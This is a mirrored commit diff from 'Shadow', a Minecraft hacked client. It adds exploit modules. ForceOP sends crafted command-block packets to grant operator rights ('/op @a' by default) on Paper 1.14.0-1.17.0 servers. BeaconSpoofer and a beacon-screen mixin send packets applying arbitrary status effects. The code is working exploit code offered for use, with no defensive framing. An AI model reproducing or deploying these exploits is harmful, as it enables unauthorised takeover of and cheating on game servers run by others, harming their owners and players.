mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
the stu 🔥
This commit is contained in:
parent
b5da1a2439
commit
888410ecc1
5 changed files with 230 additions and 1 deletions
|
@ -5,6 +5,7 @@
|
|||
package net.shadow.client.feature.module;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
|
||||
public class Template extends Module {
|
||||
|
||||
|
|
|
@ -0,0 +1,92 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.exploit;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.feature.config.StringSetting;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import net.minecraft.entity.effect.StatusEffect;
|
||||
import net.minecraft.entity.effect.StatusEffects;
|
||||
|
||||
public class BeaconSpoofer extends Module {
|
||||
|
||||
final StringSetting effect = this.config.create(new StringSetting.Builder("Speed").name("Effect").description("The effect to spoof onto the beacon").get());
|
||||
|
||||
public BeaconSpoofer() {
|
||||
super("BeaconSpoofer", "spoofs beacon effects", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
public String getStringValue(){
|
||||
StatusEffect i1 = getEffectFromName(effect.getValue());
|
||||
int ii1 = StatusEffect.getRawId(i1);
|
||||
return ii1 + "";
|
||||
}
|
||||
|
||||
private static StatusEffect getEffectFromName(String partial) {
|
||||
return switch (partial.toUpperCase()) {
|
||||
case "ABSORPTION" -> StatusEffects.ABSORPTION;
|
||||
case "BAD OMEN" -> StatusEffects.BAD_OMEN;
|
||||
case "BLINDNESS" -> StatusEffects.BLINDNESS;
|
||||
case "CONDUIT POWER" -> StatusEffects.CONDUIT_POWER;
|
||||
case "DOLPHINS GRACE" -> StatusEffects.DOLPHINS_GRACE;
|
||||
case "FIRE RESISTANCE" -> StatusEffects.FIRE_RESISTANCE;
|
||||
case "GLOWING" -> StatusEffects.GLOWING;
|
||||
case "HASTE" -> StatusEffects.HASTE;
|
||||
case "HEALTH BOOST" -> StatusEffects.HEALTH_BOOST;
|
||||
case "HERO OF THE VILLAGE" -> StatusEffects.HERO_OF_THE_VILLAGE;
|
||||
case "HUNGER" -> StatusEffects.HUNGER;
|
||||
case "INSTANT DAMAGE" -> StatusEffects.INSTANT_DAMAGE;
|
||||
case "INSTANT HEALTH" -> StatusEffects.INSTANT_HEALTH;
|
||||
case "INVISIBILITY" -> StatusEffects.INVISIBILITY;
|
||||
case "JUMP BOOST" -> StatusEffects.JUMP_BOOST;
|
||||
case "LEVITATION" -> StatusEffects.LEVITATION;
|
||||
case "LUCK" -> StatusEffects.LUCK;
|
||||
case "MINING FATIGUE" -> StatusEffects.MINING_FATIGUE;
|
||||
case "NAUSEA" -> StatusEffects.NAUSEA;
|
||||
case "NIGHT VISION" -> StatusEffects.NIGHT_VISION;
|
||||
case "POISON" -> StatusEffects.POISON;
|
||||
case "REGENERATION" -> StatusEffects.REGENERATION;
|
||||
case "RESISTANCE" -> StatusEffects.RESISTANCE;
|
||||
case "SATURATION" -> StatusEffects.SATURATION;
|
||||
case "SLOWNESS" -> StatusEffects.SLOWNESS;
|
||||
case "SLOW FALLING" -> StatusEffects.SLOW_FALLING;
|
||||
case "SPEED" -> StatusEffects.SPEED;
|
||||
case "STRENGTH" -> StatusEffects.STRENGTH;
|
||||
case "UNLUCK" -> StatusEffects.UNLUCK;
|
||||
case "WATER BREATHING" -> StatusEffects.WATER_BREATHING;
|
||||
case "WEAKNESS" -> StatusEffects.WEAKNESS;
|
||||
case "WITHER" -> StatusEffects.WITHER;
|
||||
default -> StatusEffects.SPEED;
|
||||
};
|
||||
}
|
||||
}
|
|
@ -0,0 +1,95 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.exploit;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.feature.config.BooleanSetting;
|
||||
import net.shadow.client.feature.config.StringSetting;
|
||||
import net.shadow.client.feature.gui.notifications.Notification;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import net.minecraft.block.Blocks;
|
||||
import net.minecraft.block.entity.CommandBlockBlockEntity;
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.minecraft.entity.Entity;
|
||||
import net.minecraft.entity.vehicle.CommandBlockMinecartEntity;
|
||||
import net.minecraft.network.packet.c2s.play.UpdateCommandBlockC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.UpdateCommandBlockMinecartC2SPacket;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
public class ForceOP extends Module {
|
||||
|
||||
final StringSetting command = this.config.create(new StringSetting.Builder("/op @a").name("Command").description("The command to run while using the exploit").get());
|
||||
final BooleanSetting useBlock = this.config.create(new BooleanSetting.Builder(false).name("Use Blocks").description("Use commandblocks instead of minecarts to perform the exploit").get());
|
||||
|
||||
public ForceOP() {
|
||||
super("ForceOP", "ForceOP on paper 1.14.0 - 1.17.0 Servers while in GMC with command blocks on", ModuleType.EXPLOIT);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
if(useBlock.getValue()){
|
||||
BlockPos selblock = null;
|
||||
for (int x = -7; x < 8; x++)
|
||||
for (int y = -7; y < 8; y++)
|
||||
for (int z = -7; z < 8; z++) {
|
||||
BlockPos pos = client.player.getBlockPos().add(new BlockPos(x, y, z));
|
||||
if (client.world.getBlockState(pos).getBlock() == Blocks.COMMAND_BLOCK) {
|
||||
selblock = pos;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(selblock == null){
|
||||
Notification.create(5000, "ForceOP", Notification.Type.ERROR, "Place a CommandBlock Near You!");
|
||||
return;
|
||||
}
|
||||
Notification.create(5000, "ForceOP", Notification.Type.SUCCESS, "Performing Exploit...");
|
||||
client.player.networkHandler.sendPacket(new UpdateCommandBlockC2SPacket(selblock, "", CommandBlockBlockEntity.Type.REDSTONE, false, false, false));
|
||||
client.player.networkHandler.sendPacket(new UpdateCommandBlockC2SPacket(selblock, command.getValue(), CommandBlockBlockEntity.Type.REDSTONE, false, false, true));
|
||||
this.setEnabled(false);
|
||||
}else{
|
||||
int id = 696969;
|
||||
for (Entity mcart : client.world.getEntities()) {
|
||||
if (mcart instanceof CommandBlockMinecartEntity) {
|
||||
if (mcart.distanceTo(client.player) > 7) return;
|
||||
id = mcart.getId();
|
||||
}
|
||||
}
|
||||
if (id == 696969) {
|
||||
Notification.create(5000, "ForceOP", Notification.Type.ERROR, "Place a CommandBlockMinecart Near You!");
|
||||
this.setEnabled(false);
|
||||
return;
|
||||
}
|
||||
Notification.create(5000, "ForceOP", Notification.Type.SUCCESS, "Performing Exploit...");
|
||||
client.player.networkHandler.sendPacket(new UpdateCommandBlockMinecartC2SPacket(id, command.getValue(), false));
|
||||
this.setEnabled(false);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
}
|
40
src/main/java/net/shadow/client/mixin/BeaconScreenMixin.java
Normal file
40
src/main/java/net/shadow/client/mixin/BeaconScreenMixin.java
Normal file
|
@ -0,0 +1,40 @@
|
|||
package net.shadow.client.mixin;
|
||||
|
||||
import net.minecraft.client.gui.screen.ingame.BeaconScreen;
|
||||
import net.minecraft.client.gui.screen.ingame.HandledScreen;
|
||||
import net.minecraft.client.gui.widget.ButtonWidget;
|
||||
import net.minecraft.entity.player.PlayerInventory;
|
||||
import net.minecraft.network.packet.c2s.play.UpdateBeaconC2SPacket;
|
||||
import net.minecraft.screen.ScreenHandler;
|
||||
import net.minecraft.text.LiteralText;
|
||||
import net.minecraft.text.Text;
|
||||
import net.shadow.client.ShadowMain;
|
||||
import net.shadow.client.feature.module.ModuleRegistry;
|
||||
import net.shadow.client.feature.module.impl.exploit.BeaconSpoofer;
|
||||
|
||||
import org.spongepowered.asm.mixin.Mixin;
|
||||
import org.spongepowered.asm.mixin.injection.At;
|
||||
import org.spongepowered.asm.mixin.injection.Inject;
|
||||
import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
|
||||
|
||||
|
||||
@Mixin(BeaconScreen.class)
|
||||
public abstract class BeaconScreenMixin extends HandledScreen {
|
||||
|
||||
public BeaconScreenMixin(ScreenHandler handler, PlayerInventory inventory, Text title) {
|
||||
super(handler, inventory, title);
|
||||
//TODO Auto-generated constructor stub
|
||||
}
|
||||
|
||||
@Inject(method = "init", at = @At("TAIL"))
|
||||
protected void init(CallbackInfo ci) {
|
||||
if (ModuleRegistry.getByClass(BeaconSpoofer.class).isEnabled()) {
|
||||
this.addDrawableChild(new ButtonWidget(1,
|
||||
1, 100, 20, new LiteralText("Apply Custom"),
|
||||
b -> {
|
||||
int ii = Integer.parseInt(ModuleRegistry.getByClass(BeaconSpoofer.class).getStringValue());
|
||||
ShadowMain.client.player.networkHandler.sendPacket(new UpdateBeaconC2SPacket(ii, ii));
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
|
@ -63,7 +63,8 @@
|
|||
"SliderWidgetMixin",
|
||||
"TitleScreenMixin",
|
||||
"WorldRendererAccessor",
|
||||
"WorldRendererMixin"
|
||||
"WorldRendererMixin",
|
||||
"BeaconScreenMixin"
|
||||
],
|
||||
"client": [],
|
||||
"server": [],
|
||||
|
|
Loading…
Reference in a new issue